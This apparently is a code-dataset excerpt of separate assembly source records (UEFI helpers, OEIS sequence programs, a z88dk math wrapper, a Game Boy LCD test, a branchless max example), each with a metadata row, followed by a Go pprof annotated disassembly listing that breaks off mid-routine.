; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
.CODE
;------------------------------------------------------------------------------
; EFI_STATUS
; GetFpuControlWord (
; OUT UINT16 *Reg
; )
;------------------------------------------------------------------------------
GetFpuControlWord PROC
mov eax, 0
fstcw WORD PTR [rcx]
ret
GetFpuControlWord ENDP
;------------------------------------------------------------------------------
; EFI_STATUS
; GetMxCsr (
; OUT UINT32 *Reg
; )
;------------------------------------------------------------------------------
GetMxCsr PROC
mov eax, 0
stmxcsr DWORD PTR [rcx]
ret
GetMxCsr ENDP
END
| 24.018182 | 87 | 0.461771 | [
"BSD-2-Clause"
] | JasperCheng-JC/edk2-test | uefi-sct/SctPkg/TestCase/UEFI/EFI/Generic/ExeMode/BlackBoxTest/X64/AsmFuncs.asm | 1,321 | Assembly |
; A017657: a(n) = (12*n + 11)^5.
; 161051,6436343,52521875,229345007,714924299,1804229351,3939040643,7737809375,14025517307,23863536599,38579489651,59797108943,89466096875,129891985607,183765996899,254194901951,344730881243,459401384375,602738989907,779811265199,996250626251
mul $0,12
add $0,11
pow $0,5
| 43.714286 | 242 | 0.823529 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/017/A017657.asm | 306 | Assembly |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ScanMem8.Asm
;
; Abstract:
;
; ScanMem8 function
;
; Notes:
;
; The following BaseMemoryLib instances share the same version of this file:
;
; BaseMemoryLibRepStr
; BaseMemoryLibMmx
; BaseMemoryLibSse2
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; CONST VOID *
; EFIAPI
; InternalMemScanMem8 (
; IN CONST VOID *Buffer,
; IN UINTN Length,
; IN UINT8 Value
; );
;------------------------------------------------------------------------------
InternalMemScanMem8 PROC USES rdi
mov rdi, rcx
mov rcx, rdx
mov rax, r8
repne scasb
lea rax, [rdi - 1]
cmovnz rax, rcx ; set rax to 0 if not found
ret
InternalMemScanMem8 ENDP
END
| 29.153846 | 84 | 0.501319 | [
"BSD-2-Clause"
] | James992927108/uEFI_Edk2_Practice | EdkCompatibilityPkg/Foundation/Library/EdkIIGlueLib/Library/BaseMemoryLib/X64/ScanMem8.asm | 1,516 | Assembly |
; A112541: Sum for k=0 to n of (n-k)!* n^k.
; Submitted by Christian Krause
; 1,2,8,48,400,4390,60624,1013404,19881728,447085170,11319529600,318298578664,9834869311488,331059072378814,12055438037135360,472096504892128500,19781301201305534464,882991510898240350666
mov $1,2
mov $2,2
mov $3,$0
lpb $3
mul $1,$3
mul $2,$0
add $1,$2
sub $3,1
lpe
mov $0,$1
div $0,2
| 23.125 | 187 | 0.72973 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/112/A112541.asm | 370 | Assembly |
;
; file: max.asm
; This example demostrates how to avoid conditional branches
%include "asm_io.inc"
segment _DATA public align=4 class=DATA use32
message1 db "Enter a number: ",0
message2 db "Enter another number: ", 0
message3 db "The larger number is: ", 0
segment _BSS public align=4 class=BSS use32
input1 resd 1 ; first number entered
group DGROUP _BSS _DATA
segment _TEXT public align=1 class=CODE use32
global _asm_main
_asm_main:
enter 0,0 ; setup routine
pusha
mov eax, message1 ; print out first message
call print_string
call read_int ; input first number
mov [input1], eax
mov eax, message2 ; print out second message
call print_string
call read_int ; input second number (in eax)
xor ebx, ebx ; ebx = 0
cmp eax, [input1] ; compare second and first number
setg bl ; ebx = (input2 > input1) ? 1 : 0
neg ebx ; ebx = (input2 > input1) ? 0xFFFFFFFF : 0
mov ecx, ebx ; ecx = (input2 > input1) ? 0xFFFFFFFF : 0
and ecx, eax ; ecx = (input2 > input1) ? input2 : 0
not ebx ; ebx = (input2 > input1) ? 0 : 0xFFFFFFFF
and ebx, [input1] ; ebx = (input2 > input1) ? 0 : input1
or ecx, ebx ; ecx = (input2 > input1) ? input2 : input1
mov eax, message3 ; print out result
call print_string
mov eax, ecx
call print_int
call print_nl
popa
mov eax, 0 ; return back to C
leave
ret
| 31.719298 | 85 | 0.511615 | [
"MIT"
] | Leser1990/6.828 | reference/lab1/assembly/examples/borland/max.asm | 1,808 | Assembly |
; float __fspoly (const float x, const float d[], uint16_t n)
SECTION code_clib
SECTION code_fp_math32
PUBLIC cm32_sdcc_fspoly
EXTERN m32_fspoly_callee
.cm32_sdcc_fspoly
; evaluation of a polynomial function
;
; enter : stack = uint16_t n, float d[], float x, ret
;
; exit : dehl = 32-bit product
; carry reset
;
; uses : af, bc, de, hl, af', bc', de', hl'
pop af ; my return
pop hl ; (float)x
pop de
exx
pop hl ; (float*)d
pop de ; (uint16_t)n
push af ; my return
push de ; (uint16_t)n
push hl ; (float*)d
exx
push de ; (float)x
push hl
call m32_fspoly_callee
pop af ; my return
push af
push af
push af
push af
push af
ret
| 20.191489 | 61 | 0.466807 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_fspoly.asm | 949 | Assembly |
.size 8000
.text@48
inc a
ldff(45), a
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 03
call lwaitly_b
ld c, 41
lbegin_waitm0:
ldff a, (c)
and a, b
jrnz lbegin_waitm0
ld a, 80
ldff(68), a
ld a, ff
ld c, 69
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
xor a, a
ldff(c), a
ldff(c), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
ei
ld a, b
inc a
inc a
ldff(45), a
ld c, 0f
.text@1000
lstatint:
xor a, a
ldff(41), a
.text@10cb
xor a, a
ldff(c), a
ld a, 40
ldff(41), a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldff a, (c)
and a, b
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
| 12.066667 | 24 | 0.607182 | [
"MIT"
] | Manurocker95/GiovanniEmulator | GIOVANNI/gambatte/test/hwtests/lycEnable/lyc_ff41_enable_ds_1_cgb04c_out2.asm | 1,810 | Assembly |
org 100h
mov ax,2
xor cx,cx
div cx
int 20h
| 6.5 | 10 | 0.596154 | [
"BSD-3-Clause"
] | koutheir/i8086sim | Test/com.asm | 52 | Assembly |
; A024053: a(n) = 5^n - n^4.
; 1,4,9,44,369,2500,14329,75724,386529,1946564,9755625,48813484,244119889,1220674564,6103477209,30517527500,152587825089,762939369604,3814697160649,19073486197804,95367431480625,476837158008644,2384185790781369,11920928954798284,59604644775058849,298023223876562500,1490116119384308649,7450580596923296684,37252902984618525969,186264514923094995844,931322574615477705625,4656612873077391654604,23283064365386961842049,116415321826934813267204,582076609134674070929289,2910383045673370359827500,14551915228366851804961009,72759576141834259031328964,363797880709171295163930489,1818989403545856475827764684,9094947017729282379147830625,45474735088646411895749127364,227373675443232059478756653929,1136868377216160297393795409324,5684341886080801486968990392529,28421709430404007434844966602500,142108547152020037174224849038169,710542735760100185871124262698444,3552713678800500929355621332582209,17763568394002504646778106683688324,88817841970012523233890533441015625,444089209850062616169452667229562924
mov $1,5
pow $1,$0
pow $0,4
sub $1,$0
mov $0,$1
| 120.222222 | 1,003 | 0.913124 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/024/A024053.asm | 1,082 | Assembly |
; A108627: Logarithmic g.f.: Sum_{n>=1} a(n)/n*x^n = log(G108626(x)), where G108626(x) is g.f. for A108626.
; Submitted by Jon Maiga
; 2,6,20,66,222,750,2536,8578,29018,98166,332092,1123458,3800630,12857438,43496400,147147266,497795634,1684030566,5697034596,19272929986,65199855118,220569529934,746181374904,2524313509762
mul $0,2
add $0,2
seq $0,1644 ; a(n) = a(n-1) + a(n-2) + a(n-3), a(0)=3, a(1)=1, a(2)=3.
div $0,2
add $0,1
| 43 | 188 | 0.695349 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/108/A108627.asm | 430 | Assembly |
Total: 6.01s
ROUTINE ======================== main.(*Graph).buildAdjList
520ms 1.90s (flat, cum) 31.61% of Total
. . 10ca460: MOVQ GS:0x30, CX ;graph.go:102
. . 10ca469: LEAQ -0x60(SP), AX
. . 10ca46e: CMPQ 0x10(CX), AX
. . 10ca472: JBE 0x10ca91e
. . 10ca478: SUBQ $0xe0, SP
. . 10ca47f: MOVQ BP, 0xd8(SP)
. . 10ca487: LEAQ 0xd8(SP), BP
. . 10ca48f: XORL AX, AX
. . 10ca491: XORL CX, CX
. . 10ca493: JMP 0x10ca73f ;graph.go:104
. . 10ca498: MOVQ 0x88(SP), R10 ;graph.go:110
. . 10ca4a0: LEAQ 0x1(R10), R9
. . 10ca4a4: MOVQ 0x78(SP), R10
. . 10ca4a9: MOVQ 0x70(SP), R11
10ms 10ms 10ca4ae: MOVQ 0x98(SP), R12 ;main.(*Graph).buildAdjList graph.go:110
. . 10ca4b6: MOVQ 0x68(SP), R13 ;graph.go:110
. . 10ca4bb: MOVQ 0xc0(SP), R14
. . 10ca4c3: MOVQ R10, AX
. . 10ca4c6: MOVQ 0x50(SP), CX ;graph.go:107
. . 10ca4cb: MOVQ R11, DX ;graph.go:111
. . 10ca4ce: MOVQ 0xe8(SP), BX
. . 10ca4d6: MOVQ R12, SI
. . 10ca4d9: MOVQ R13, DI
. . 10ca4dc: MOVQ R14, R8 ;graph.go:110
. . 10ca4df: CMPQ AX, R9
. . 10ca4e2: JGE 0x10ca736
420ms 420ms 10ca4e8: MOVQ 0(R8)(R9*8), R10 ;main.(*Graph).buildAdjList graph.go:110
. . 10ca4ec: MOVQ 0x8(BX), R11 ;graph.go:111
. . 10ca4f0: MOVQ 0(BX), R12
. . 10ca4f3: CMPQ R11, R10
. . 10ca4f6: JAE 0x10ca912
. . 10ca4fc: MOVQ R9, 0x88(SP) ;graph.go:110
. . 10ca504: MOVQ R10, 0x58(SP)
. . 10ca509: LEAQ 0(R10)(R10*2), AX ;graph.go:111
. . 10ca50d: MOVQ AX, 0x80(SP)
. . 10ca515: MOVQ 0(R12)(AX*8), CX
70ms 70ms 10ca519: MOVQ 0x10(R12)(AX*8), BX ;main.(*Graph).buildAdjList graph.go:111
. . 10ca51e: MOVQ 0x8(R12)(AX*8), R8 ;graph.go:111
. . 10ca523: MOVQ SI, 0(SP)
. . 10ca527: MOVQ DI, 0x8(SP)
. . 10ca52c: MOVQ DX, 0x10(SP)
. . 10ca531: MOVQ CX, 0x18(SP)
. . 10ca536: MOVQ R8, 0x20(SP)
. . 10ca53b: MOVQ BX, 0x28(SP)
10ms 250ms 10ca540: CALL main.distance(SB) ;main.(*Graph).buildAdjList graph.go:111
. . 10ca545: CMPQ $0x1, 0x30(SP) ;graph.go:111
. . 10ca54b: JNE 0x10ca71c
. . 10ca551: MOVQ 0xe8(SP), DX ;graph.go:112
. . 10ca559: MOVQ 0x18(DX), BX
. . 10ca55d: MOVQ 0x20(DX), CX
. . 10ca561: MOVQ 0x60(SP), AX
. . 10ca566: CMPQ CX, AX
. . 10ca569: JAE 0x10ca90d
. . 10ca56f: MOVQ 0x90(SP), SI
. . 10ca577: MOVQ 0x10(BX)(SI*8), DI
. . 10ca57c: MOVQ 0x8(BX)(SI*8), R8
. . 10ca581: MOVQ 0(BX)(SI*8), R9
. . 10ca585: LEAQ 0x1(R8), R10
. . 10ca589: LEAQ 0(BX)(SI*8), R11
. . 10ca58d: CMPQ DI, R10
. . 10ca590: JA 0x10ca685
. . 10ca596: LEAQ 0x1(R8), DI
. . 10ca59a: MOVQ DI, 0x8(BX)(SI*8)
. . 10ca59f: MOVQ 0x58(SP), BX
. . 10ca5a4: MOVQ BX, 0(R9)(R8*8)
. . 10ca5a8: MOVQ 0x20(DX), CX ;graph.go:113
. . 10ca5ac: MOVQ 0x18(DX), DI
. . 10ca5b0: CMPQ CX, BX
. . 10ca5b3: JAE 0x10ca905
. . 10ca5b9: MOVQ 0x80(SP), BX
. . 10ca5c1: MOVQ 0(DI)(BX*8), R8
10ms 10ms 10ca5c5: MOVQ 0x10(DI)(BX*8), R9 ;main.(*Graph).buildAdjList graph.go:113
. . 10ca5ca: MOVQ 0x8(DI)(BX*8), R10 ;graph.go:113
. . 10ca5cf: LEAQ 0x1(R10), R11
. . 10ca5d3: LEAQ 0(DI)(BX*8), R12
. . 10ca5d7: CMPQ R9, R11
. . 10ca5da: JA 0x10ca5ee
. . 10ca5dc: LEAQ 0x1(R10), R9
. . 10ca5e0: MOVQ R9, 0x8(DI)(BX*8)
. . 10ca5e5: MOVQ AX, 0(R8)(R10*8)
. . 10ca5e9: JMP 0x10ca498
. . 10ca5ee: MOVQ R12, 0xb8(SP)
. . 10ca5f6: MOVQ DI, 0xb0(SP)
. . 10ca5fe: LEAQ type.*+85856(SB), AX
. . 10ca605: MOVQ AX, 0(SP)
. . 10ca609: MOVQ R8, 0x8(SP)
. . 10ca60e: MOVQ R10, 0x10(SP)
. . 10ca613: MOVQ R9, 0x18(SP)
. . 10ca618: MOVQ R11, 0x20(SP)
. 170ms 10ca61d: CALL runtime.growslice(SB) ;main.(*Graph).buildAdjList graph.go:113
. . 10ca622: MOVQ 0x28(SP), AX ;graph.go:113
. . 10ca627: MOVQ 0x30(SP), CX
. . 10ca62c: MOVQ 0x38(SP), DX
. . 10ca631: MOVQ 0x80(SP), BX
. . 10ca639: MOVQ 0xb0(SP), SI
. . 10ca641: MOVQ DX, 0x10(SI)(BX*8)
. . 10ca646: CMPL $0x0, runtime.writeBarrier(SB)
. . 10ca64d: JNE 0x10ca676
. . 10ca64f: MOVQ AX, 0(SI)(BX*8)
. . 10ca653: MOVQ 0xe8(SP), DX ;graph.go:111
. . 10ca65b: MOVQ SI, DI ;graph.go:113
. . 10ca65e: MOVQ CX, R10
. . 10ca661: MOVQ AX, R8
. . 10ca664: MOVQ 0x60(SP), AX
. . 10ca669: MOVQ 0x90(SP), SI ;graph.go:112
. . 10ca671: JMP 0x10ca5dc ;graph.go:113
. . 10ca676: MOVQ 0xb8(SP), DI
. . 10ca67e: CALL runtime.gcWriteBarrier(SB)
. . 10ca683: JMP 0x10ca653
. . 10ca685: MOVQ BX, 0xa8(SP) ;graph.go:112
. . 10ca68d: MOVQ R11, 0xa0(SP)
. . 10ca695: LEAQ type.*+85856(SB), AX
. . 10ca69c: MOVQ AX, 0(SP)
. . 10ca6a0: MOVQ R9, 0x8(SP)
. . 10ca6a5: MOVQ R8, 0x10(SP)
. . 10ca6aa: MOVQ DI, 0x18(SP)
. . 10ca6af: MOVQ R10, 0x20(SP)
. 130ms 10ca6b4: CALL runtime.growslice(SB) ;main.(*Graph).buildAdjList graph.go:112
. . 10ca6b9: MOVQ 0x28(SP), AX ;graph.go:112
. . 10ca6be: MOVQ 0x30(SP), CX
. . 10ca6c3: MOVQ 0x38(SP), DX
. . 10ca6c8: MOVQ 0x90(SP), BX
. . 10ca6d0: MOVQ 0xa8(SP), SI
. . 10ca6d8: MOVQ DX, 0x10(SI)(BX*8)
. . 10ca6dd: CMPL $0x0, runtime.writeBarrier(SB)
. . 10ca6e4: JNE 0x10ca70d
. . 10ca6e6: MOVQ AX, 0(SI)(BX*8)
. . 10ca6ea: MOVQ 0xe8(SP), DX ;graph.go:113
. . 10ca6f2: MOVQ SI, BX ;graph.go:112
. . 10ca6f5: MOVQ 0x90(SP), SI
. . 10ca6fd: MOVQ CX, R8
. . 10ca700: MOVQ AX, R9
. . 10ca703: MOVQ 0x60(SP), AX ;graph.go:113
. . 10ca708: JMP 0x10ca596 ;graph.go:112
. . 10ca70d: MOVQ 0xa0(SP), DI
. . 10ca715: CALL runtime.gcWriteBarrier(SB)
. . 10ca71a: JMP 0x10ca6ea
. . 10ca71c: MOVQ 0x60(SP), AX ;graph.go:104
. . 10ca721: MOVQ 0xe8(SP), DX ;graph.go:111
. . 10ca729: MOVQ 0x90(SP), SI ;graph.go:112
. . 10ca731: JMP 0x10ca498 ;graph.go:110
. . 10ca736: MOVQ 0x60(SP), DX ;graph.go:104
. . 10ca73b: LEAQ 0x1(DX), AX
. . 10ca73f: MOVQ 0xe8(SP), DX
. . 10ca747: MOVQ 0x8(DX), BX
. . 10ca74b: MOVQ 0(DX), SI
. . 10ca74e: CMPQ BX, AX
. . 10ca751: JGE 0x10ca860
. . 10ca757: MOVQ AX, 0x60(SP)
. . 10ca75c: MOVQ CX, 0x50(SP) ;graph.go:107
. . 10ca761: LEAQ 0(AX)(AX*2), CX ;graph.go:105
. . 10ca765: MOVQ CX, 0x90(SP)
. . 10ca76d: MOVQ 0x10(SI)(CX*8), DX
. . 10ca772: MOVQ DX, 0x70(SP)
. . 10ca777: MOVQ 0x8(SI)(CX*8), BX
. . 10ca77c: MOVQ BX, 0x68(SP)
. . 10ca781: MOVQ 0(SI)(CX*8), SI
. . 10ca785: MOVQ SI, 0x98(SP)
. . 10ca78d: MOVQ 0xf0(SP), DI ;graph.go:106
. . 10ca795: MOVQ DI, 0(SP)
. . 10ca799: MOVQ SI, 0x8(SP)
. . 10ca79e: MOVQ BX, 0x10(SP)
. . 10ca7a3: MOVQ DX, 0x18(SP)
. 140ms 10ca7a8: CALL main.(*index).nearCount(SB) ;main.(*Graph).buildAdjList graph.go:106
. . 10ca7ad: MOVQ 0x20(SP), AX ;graph.go:106
. . 10ca7b2: MOVQ AX, 0x78(SP)
. . 10ca7b7: LEAQ type.*+85856(SB), CX ;graph.go:108
. . 10ca7be: MOVQ CX, 0(SP)
. . 10ca7c2: MOVQ AX, 0x8(SP)
. . 10ca7c7: MOVQ AX, 0x10(SP)
. 100ms 10ca7cc: CALL runtime.makeslice(SB) ;main.(*Graph).buildAdjList graph.go:108
. . 10ca7d1: MOVQ 0x18(SP), AX ;graph.go:108
. . 10ca7d6: MOVQ AX, 0xc0(SP)
. . 10ca7de: MOVQ 0xf0(SP), CX ;graph.go:109
. . 10ca7e6: MOVQ CX, 0(SP)
. . 10ca7ea: MOVQ 0x98(SP), DX
. . 10ca7f2: MOVQ DX, 0x8(SP)
. . 10ca7f7: MOVQ 0x68(SP), BX
. . 10ca7fc: MOVQ BX, 0x10(SP)
. . 10ca801: MOVQ 0x70(SP), SI
. . 10ca806: MOVQ SI, 0x18(SP)
. . 10ca80b: MOVQ AX, 0x20(SP)
. . 10ca810: MOVQ 0x78(SP), DI
. . 10ca815: MOVQ DI, 0x28(SP)
. . 10ca81a: MOVQ DI, 0x30(SP)
. 600ms 10ca81f: CALL main.(*index).near(SB) ;main.(*Graph).buildAdjList graph.go:109
. . 10ca824: MOVQ 0x78(SP), AX ;graph.go:107
. . 10ca829: MOVQ 0x50(SP), CX
. . 10ca82e: ADDQ AX, CX
. . 10ca831: MOVQ CX, 0x50(SP)
. . 10ca836: MOVQ 0x70(SP), DX ;graph.go:110
. . 10ca83b: MOVQ 0xe8(SP), BX
. . 10ca843: MOVQ 0x98(SP), SI
. . 10ca84b: MOVQ 0x68(SP), DI
. . 10ca850: MOVQ 0xc0(SP), R8
. . 10ca858: XORL R9, R9
. . 10ca85b: JMP 0x10ca4df
. . 10ca860: XORPS X0, X0 ;graph.go:117
. . 10ca863: CVTSI2SDQ CX, X0
. . 10ca868: XORPS X1, X1
. . 10ca86b: CVTSI2SDQ BX, X1
. . 10ca870: DIVSD X1, X0
. . 10ca874: MOVSD_XMM X0, 0(SP)
. . 10ca879: CALL runtime.convT64(SB)
. . 10ca87e: MOVQ 0x8(SP), AX
. . 10ca883: XORPS X0, X0
. . 10ca886: MOVUPS X0, 0xc8(SP)
. . 10ca88e: LEAQ type.*+84128(SB), CX
. . 10ca895: MOVQ CX, 0xc8(SP)
. . 10ca89d: MOVQ AX, 0xd0(SP)
. . 10ca8a5: MOVQ os.Stdout(SB), AX ;print.go:213
. . 10ca8ac: LEAQ go.itab.*os.File,io.Writer(SB), CX
. . 10ca8b3: MOVQ CX, 0(SP)
. . 10ca8b7: MOVQ AX, 0x8(SP)
. . 10ca8bc: LEAQ go.string.*+3293(SB), AX
. . 10ca8c3: MOVQ AX, 0x10(SP)
. . 10ca8c8: MOVQ $0xa, 0x18(SP)
. . 10ca8d1: LEAQ 0xc8(SP), AX
. . 10ca8d9: MOVQ AX, 0x20(SP)
. . 10ca8de: MOVQ $0x1, 0x28(SP)
. . 10ca8e7: MOVQ $0x1, 0x30(SP)
. . 10ca8f0: CALL fmt.Fprintf(SB)
. . 10ca8f5: MOVQ 0xd8(SP), BP
. . 10ca8fd: ADDQ $0xe0, SP
. . 10ca904: RET
. . 10ca905: MOVQ BX, AX ;graph.go:113
. . 10ca908: CALL runtime.panicIndex(SB)
. . 10ca90d: CALL runtime.panicIndex(SB) ;graph.go:112
. . 10ca912: MOVQ R10, AX ;graph.go:111
. . 10ca915: MOVQ R11, CX
. . 10ca918: CALL runtime.panicIndex(SB)
. . 10ca91d: NOPL
. . 10ca91e: CALL runtime.morestack_noctxt(SB) ;graph.go:102
. . 10ca923: JMP main.(*Graph).buildAdjList(SB)
. . 10ca928: INT $0x3
. . 10ca929: INT $0x3
. . 10ca92a: INT $0x3
. . 10ca92b: INT $0x3
. . 10ca92c: INT $0x3
. . 10ca92d: INT $0x3
. . 10ca92e: INT $0x3
ROUTINE ======================== main.(*index).add
130ms 560ms (flat, cum) 9.32% of Total
. . 10cc020: MOVQ GS:0x30, CX ;index.go:31
. . 10cc029: LEAQ -0x18(SP), AX
. . 10cc02e: CMPQ 0x10(CX), AX
. . 10cc032: JBE 0x10cc326
10ms 10ms 10cc038: SUBQ $0x98, SP ;main.(*index).add index.go:31
. . 10cc03f: MOVQ BP, 0x90(SP) ;index.go:31
. . 10cc047: LEAQ 0x90(SP), BP
. . 10cc04f: MOVQ 0xa0(SP), BX ;index.go:34
. . 10cc057: MOVQ 0x38(BX), DX
. . 10cc05b: MOVQ 0x28(BX), SI
. . 10cc05f: MOVQ 0xb8(SP), DI
. . 10cc067: LEAQ -0x1(DI), CX
. . 10cc06b: CMPQ DX, CX
. . 10cc06e: JA 0x10cc320
. . 10cc074: MOVQ CX, 0x58(SP)
. . 10cc079: MOVQ DX, 0x50(SP)
. . 10cc07e: MOVQ SI, 0x78(SP)
. . 10cc083: MOVQ 0xb0(SP), R8 ;index.go:35
. . 10cc08b: XORL AX, AX
. . 10cc08d: JMP 0x10cc0e2
. . 10cc08f: LEAQ 0x1(R8), R10 ;index.go:41
. . 10cc093: MOVQ R10, 0x8(BX)(SI*8)
. . 10cc098: MOVQ 0xa8(SP), R10
. . 10cc0a0: MOVQ R10, 0(R9)(R8*8)
. . 10cc0a4: MOVQ 0x78(SP), R9 ;index.go:35
. . 10cc0a9: MOVQ 0x50(SP), R11
. . 10cc0ae: MOVQ 0x58(SP), R12
. . 10cc0b3: MOVQ 0xb8(SP), R13
. . 10cc0bb: MOVQ 0xb0(SP), R14
. . 10cc0c3: MOVQ 0x68(SP), R15
. . 10cc0c8: MOVQ R12, CX ;index.go:125
. . 10cc0cb: MOVQ R11, DX ;index.go:124
. . 10cc0ce: MOVQ 0xa0(SP), BX ;index.go:38
. . 10cc0d6: MOVQ R9, SI ;index.go:125
. . 10cc0d9: MOVQ R13, DI ;index.go:35
. . 10cc0dc: MOVQ R14, R8 ;index.go:126
. . 10cc0df: MOVQ R15, AX ;index.go:35
. . 10cc0e2: CMPQ DI, AX
. . 10cc0e5: JGE 0x10cc2f3
. 10ms 10cc0eb: NOPL ;main.(*index).add index.go:36
. . 10cc0ec: CMPQ DX, AX ;index.go:124
. . 10cc0ef: JA 0x10cc318
. . 10cc0f5: CMPQ CX, AX ;index.go:125
. . 10cc0f8: JA 0x10cc313
. . 10cc0fe: MOVQ AX, 0x48(SP) ;index.go:35
. . 10cc103: SUBQ AX, CX ;index.go:125
. . 10cc106: MOVQ CX, 0x40(SP)
. . 10cc10b: SUBQ AX, DX
. . 10cc10e: NEGQ DX
. . 10cc111: SARQ $0x3f, DX
10ms 10ms 10cc115: ANDQ AX, DX ;main.skipOneCopy index.go:125
. . 10cc118: ADDQ SI, DX ;index.go:125
. . 10cc11b: MOVQ DX, 0x70(SP)
. . 10cc120: CMPQ R8, SI ;index.go:126
. . 10cc123: JE 0x10cc138
. . 10cc125: MOVQ SI, 0(SP)
. . 10cc129: MOVQ R8, 0x8(SP)
. . 10cc12e: MOVQ AX, 0x10(SP)
. . 10cc133: CALL runtime.memmove(SB)
. . 10cc138: MOVQ 0x48(SP), AX ;index.go:127
. . 10cc13d: INCQ AX
. . 10cc140: MOVQ AX, 0x68(SP)
. . 10cc145: MOVQ 0xb8(SP), CX
. . 10cc14d: SUBQ AX, CX
. . 10cc150: MOVQ 0x40(SP), BX
. . 10cc155: CMPQ CX, BX
. . 10cc158: CMOVG CX, BX
. . 10cc15c: MOVQ 0xc0(SP), CX
. . 10cc164: SUBQ AX, CX
. . 10cc167: NEGQ CX
. . 10cc16a: SARQ $0x3f, CX
. . 10cc16e: ANDQ AX, CX
. . 10cc171: MOVQ 0xb0(SP), DI
. . 10cc179: ADDQ DI, CX
. . 10cc17c: MOVQ 0x70(SP), R8
. . 10cc181: CMPQ R8, CX
. . 10cc184: JNE 0x10cc2db
. . 10cc18a: MOVQ 0xa0(SP), AX ;index.go:38
. . 10cc192: MOVQ 0(AX), CX
. . 10cc195: MOVQ 0x8(AX), DX
. . 10cc199: MOVQ 0x20(CX), CX
. . 10cc19d: MOVQ DX, 0(SP)
. 10ms 10cc1a1: CALL CX ;main.(*index).add index.go:38
. . 10cc1a3: MOVQ 0xa0(SP), AX ;index.go:39
. . 10cc1ab: MOVQ 0(AX), CX
. . 10cc1ae: MOVQ 0x8(AX), DX
. . 10cc1b2: MOVQ 0x40(CX), CX
. . 10cc1b6: MOVQ DX, 0(SP)
. . 10cc1ba: MOVQ 0x78(SP), DX
. . 10cc1bf: MOVQ DX, 0x8(SP)
. . 10cc1c4: MOVQ 0x58(SP), BX
. . 10cc1c9: MOVQ BX, 0x10(SP)
. . 10cc1ce: MOVQ 0x50(SP), SI
. . 10cc1d3: MOVQ SI, 0x18(SP)
. 30ms 10cc1d8: CALL CX ;main.(*index).add index.go:39
. . 10cc1da: MOVQ 0xa0(SP), AX ;index.go:40
. . 10cc1e2: MOVQ 0(AX), CX
. . 10cc1e5: MOVQ 0x8(AX), DX
. . 10cc1e9: MOVQ 0x38(CX), CX
. . 10cc1ed: MOVQ DX, 0(SP)
. 20ms 10cc1f1: CALL CX ;main.(*index).add index.go:40
. . 10cc1f3: MOVQ 0x8(SP), AX ;index.go:40
. . 10cc1f8: MOVQ 0xa0(SP), CX
. . 10cc200: MOVQ 0x40(CX), DX
. . 10cc204: TESTQ DX, DX
. . 10cc207: JE 0x10cc30e
. . 10cc20d: MOVQ DX, BX
. . 10cc210: XORL DX, DX
. . 10cc212: DIVQ BX
10ms 10ms 10cc215: MOVQ 0x10(CX), BX ;main.(*index).add index.go:41
. . 10cc219: MOVQ 0x18(CX), SI ;index.go:41
. . 10cc21d: CMPQ SI, DX
. . 10cc220: JAE 0x10cc303
. . 10cc226: LEAQ 0(DX)(DX*2), SI
. . 10cc22a: MOVQ 0x10(BX)(SI*8), DI
80ms 80ms 10cc22f: MOVQ 0x8(BX)(SI*8), R8 ;main.(*index).add index.go:41
10ms 10ms 10cc234: MOVQ 0(BX)(SI*8), R9
. . 10cc238: LEAQ 0x1(R8), R10 ;index.go:41
. . 10cc23c: LEAQ 0(BX)(SI*8), R11
. . 10cc240: CMPQ DI, R10
. . 10cc243: JBE 0x10cc08f
. . 10cc249: MOVQ BX, 0x88(SP)
. . 10cc251: MOVQ SI, 0x60(SP)
. . 10cc256: MOVQ R11, 0x80(SP)
. . 10cc25e: LEAQ type.*+85856(SB), AX
. . 10cc265: MOVQ AX, 0(SP)
. . 10cc269: MOVQ R9, 0x8(SP)
